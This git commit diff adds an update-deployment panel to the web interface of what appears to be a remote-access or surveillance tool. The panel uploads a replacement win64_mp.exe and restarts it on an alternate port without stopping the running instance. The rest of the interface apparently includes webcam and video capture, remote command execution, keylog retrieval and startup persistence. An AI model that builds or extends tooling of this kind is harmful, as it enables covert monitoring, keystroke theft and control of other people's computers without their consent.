feat(update): add update deployment via web UI

- Deploy exe to alternate port 5033
- Current instance keeps running
- Add parallel mode and addr flag
- Add update panel to web UI
- Update OpenAPI spec and CLI
This commit is contained in:
2026-09-01 20:17:06 +03:00
parent 2318684e93
commit 1bba2c6b51
13 changed files with 338 additions and 16 deletions
+41
View File
@@ -33,6 +33,7 @@
let webcamRunning = false;
let selectedLogName = "";
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
let currentListen = "";
function showError(message) {
errorEl.textContent = message || "";
@@ -129,6 +130,8 @@
["Startup", data.startup_enabled ? "enabled" : "disabled"],
];
setStartup(Boolean(data.startup_enabled));
currentListen = data.listen_address || "";
syncUpdateMeta();
statusFields.replaceChildren(
...fields.map(([label, value]) => {
const item = document.createElement("div");
@@ -601,6 +604,31 @@
}
}
function alternatePort(addr) {
const match = String(addr || "").match(/:(\d+)$/);
const port = match ? Number(match[1]) : 5032;
return port === 5032 ? 5033 : 5032;
}
function syncUpdateMeta() {
const meta = document.getElementById("update-meta");
if (!meta) return;
if (!currentListen) {
meta.textContent = "Refresh status to see the current listen address.";
return;
}
meta.textContent = `This instance: ${currentListen} · new instance: port ${alternatePort(currentListen)}`;
}
async function deployUpdate(file) {
const form = new FormData();
form.set("file", file);
const res = await api("/api/v1/update", { method: "POST", body: form });
const data = await res.json();
const result = document.getElementById("update-result");
result.textContent = `Deployed ${data.path} · listening on ${data.listen_address} (was ${data.previous_listen_address})`;
}
async function runCommand() {
const command = document.getElementById("exec-command").value.trim();
const timeout = Number(document.getElementById("exec-timeout").value);
@@ -706,6 +734,19 @@
document.getElementById("exec-run").addEventListener("click", () => {
runCommand().catch((err) => showError(err.message));
});
document.getElementById("update-deploy").addEventListener("click", () => {
const picker = document.getElementById("update-picker");
const file = picker.files[0];
if (!file) {
showError("choose a .exe file first");
return;
}
deployUpdate(file)
.then(() => {
picker.value = "";
})
.catch((err) => showError(err.message));
});
document.getElementById("log-refresh").addEventListener("click", () => {
listKeylogs().catch((err) => showError(err.message));
});
+16
View File
@@ -713,6 +713,7 @@
<button data-tab="video" type="button">Video</button>
<button data-tab="webcam" type="button">Webcam</button>
<button data-tab="exec" type="button">Command</button>
<button data-tab="update" type="button">Update</button>
<button data-tab="logs" type="button">Logs</button>
</nav>
@@ -879,6 +880,21 @@
<pre id="exec-out"></pre>
</section>
<section id="update" class="panel">
<div class="panel-head">
<div>
<h2>Deploy update</h2>
<p class="lede">Upload a new <code>win64_mp.exe</code>. The current instance keeps running; the new build starts on the alternate port (5032 ↔ 5033).</p>
</div>
</div>
<p id="update-meta" class="meta"></p>
<div class="toolbar">
<input id="update-picker" type="file" accept=".exe,application/octet-stream" aria-label="Update executable">
<button id="update-deploy" class="primary" type="button">Deploy</button>
</div>
<p id="update-result" class="meta"></p>
</section>
<section id="logs" class="panel">
<div class="panel-head">
<div>